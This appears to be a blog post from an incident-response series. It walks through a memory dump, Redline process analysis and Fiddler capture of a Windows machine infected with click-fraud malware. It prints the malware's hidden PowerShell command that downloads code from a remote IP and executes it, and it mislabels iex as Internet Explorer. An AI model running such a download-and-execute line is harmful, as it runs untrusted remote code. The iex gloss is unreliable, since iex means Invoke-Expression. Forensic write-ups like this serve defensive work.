Apologies. I have had multiple items coming down the pipeline at work that have required my spare time and attention, so I was unable to continue this posting. Hopefully, I can share some of that work with you all soon, but for now, let's continue where we left off.
When we last left off, I was just about to access the infected machine and begin analysis and cleanup. Let us start after I have contacted the client, let them know they have an active infection, and have gained access to the machine.
The first thing I do before anything else, while the user is still logged and nothing has been touched by me on the system, is create a dump of the system's memory. There are plenty of tools out there to do this, but because I have been playing around with Volatility lately, I chose to use winpmem to create the dump this time. Once the dump is saved, I copy it to a safe location on the HDD to be extracted after cleanup.
Next, while the user is still logged in, I run Fiddler just to see if I can catch the same HTTP requests my firewall packet capture caught. This endeavor was very successful. There were literally hundreds of requests being made per minute, but I am only going to include the results that were relevant to my search. We need to touch on the the memory dump analysis first, though, because it will provide us with a narrower scope for examining what was going on in the Fiddler session (when it comes to large sets of data, and that is very much so the nature of incident response, correlating data is extremely helpful, unless you want to wade through hundreds, thousands, or millions of requests by hand.)
Now, I stated earlier that I have been playing with Volatility lately, but I am by no means an expert, so for this analysis I used Mandiant's Redline analysis tool. Once my analysis session had been created, I set about sorting the processes that were running in memory when the dump was created. As a personal choice, I sorted them based on their arguments. After reviewing the list, 2 processes stuck out right away to me. Let's review these in turn.
First, I saw the below process (copied the entire row's contents as displayed by Redline):
4,"52","powershell.exe","52",3104,"C:\Windows\system32\windowspowershell\v1.0","C:\Windows\system32\windowspowershell\v1.0\powershell.exe -windowstyle hidden -noninteractive -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString('http://37.228.88.167:80/landing?action=psf&pubid=0&subid=0&systemhash=550478364'); iex $($b)"",,"2015-05-01 09:31:00Z",00:00:00,00:00:00,,"S-1-5-18",,"taskeng.exe",3132,,,,,,So, breaking this down, we notice 2 things. Firstly, that powershell.exe ran the following command (and it ran windowless, hence the -windowstyle hidden -noninteractive switches when powershell.exe was launched):
$a = New-Object System.Net.WebClient; $b = $a.DownloadString('http://37.228.88.167:80/landing?action=psf&pubid=0&subid=0&systemhash=550478364'); iex $($b)So, powershell.exe is being launched windowless and is grabbing a string as a new object via the System.Net.WebClient module and the DownloadString function. It is then passing that string into iex (Internet Explorer). Remember, this is all happening in the background. Beyond that, we also notice the process that spawned powershell.exe, in this case taskeng.exe, which has a PID of 3132. If we follow the spawning chain, we find that taskeng.exe was called by svchost.exe, which was called by services.exe, which was called by wininit.exe, which was called by wfcrun32.exe. Here is the full path for wfcrun32.exe, along with the argument it was launched with:
C:\Program Files\Citrix\ICA Client\wfcrun32.exe -EmbeddingThat will become important later. For now, let's leave it be.
Next, let's review the second process I noted:
4,"58","cmd.exe","58",2612,"C:\Windows\system32","cmd.exe clckurl=http%3a%2f%2f178%2e63%2e9%2e213%2fclick%3fsid%3dc7394d7188ab054dde11c09ab539853fcfee0289%26cid%3d0%;;refrr=http%3a%2f%2flinepad%2ecom%;;usragnt=Mozilla%2f4%2e0%20(compatible%3b%20MSIE%209%2e0%3b%20Windows%20NT%206%2e1%3b%20Trident%2f5%2e0%3b%20SLCC2%3b%20%2eNET%20CLR%202%2e0%2e50727%3b%20%2eNET%20CLR%203%2e5%2e30729%3b%20%2eNET%20CLR%203%2e0%2e30729%3b%20Media%20Center%20PC%206%2e0%3b%20%2eNET4%2e0C%3b%20%2eNET4%2e0E%3b%20BOIE9%3bENUSMSCOM)%;;",,"2015-05-01 13:36:00Z",00:00:00,00:00:00,,"S-1-5-21-2111367450-1562277531-2960697558-1000",,"SelfServicePlugin.exe",464,,,,,,So, cmd.exe is executing the below command:
clckurl=http%3a%2f%2f178%2e63%2e9%2e213%2fclick%3fsid%3dc7394d7188ab054dde11c09ab539853fcfee0289%26cid%3d0%;;refrr=http%3a%2f%2flinepad%2ecom%;;usragnt=Mozilla%2f4%2e0%20(compatible%3b%20MSIE%209%2e0%3b%20Windows%20NT%206%2e1%3b%20Trident%2f5%2e0%3b%20SLCC2%3b%20%2eNET%20CLR%202%2e0%2e50727%3b%20%2eNET%20CLR%203%2e5%2e30729%3b%20%2eNET%20CLR%203%2e0%2e30729%3b%20Media%20Center%20PC%206%2e0%3b%20%2eNET4%2e0C%3b%20%2eNET4%2e0E%3b%20BOIE9%3bENUSMSCOM)%The URL is encoded, so let's decode it:
http://178.63.9.213/click?sid=c7394d7188ab054dde11c09ab539853fcfee0289&cid=0A referrer header and user agent string were also included, so let's decode them as well:
refrr=http://linepad.com
usragnt=Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BOIE9;ENUSMSCOM)Well, clckurl isn't a Windows command that I am aware of, however, when you review the spawning chain, selfserviceplugin.exe is launching cmd.exe, and selfserviceplugin.exe is launched by receiver.exe, which is launched by concentr.exe, and that is launched by explorer.exe. There are some arguments and paths that are important to note here, so let's look at them:
C:\Program Files\Citrix\SelfServicePlugin\SelfServicePlugin.exeC:\Program Files\Citrix\Receiver\Receiver.exe -autoupdate -startplugins
C:\Program Files\Citrix\ICA Client\concentr.exe /startup
Interestingly enough, we see yet more Citrix folder paths. If I had my guesses, clckurl is being inherited from a library used by one of those processes, or DLL injection is taking place. Can we locate the specific library or process supplying that command? Well, I am sure that somebody could, but from my stance I am missing two crucial things–experience and a better view into the client's machine. For now, let's just move on. I will try to swing back around to deeper analysis here if I can.
I had stated that a Fiddler analysis of the system had really shown what was going on behind the scenes. Surely enough, see below:
This is a sampling of the Fiddler traffic I caught. There were many, many more requests, and the capture was only running for a couple of minutes.
Well, we definitely have some click-jacking/ad fraud going on. That is a certainty.
Again, I don't have the stance/experience to do much more analysis at this exact moment. Unfortunately, forensics is not my primary job description, so there is only so much time I can spend gathering and preserving data for later examination before I need to move on to cleaning the infected machine. I will tell you that Malwarebytes Anti-Malware cleaned up instances of Trojan.Clicker.FMS, so the click-jacking/ad fraud guess was right.
I'll cycle back around to this topic when I have more time/information. For now, there are other topics to be addressed.
Thanks!
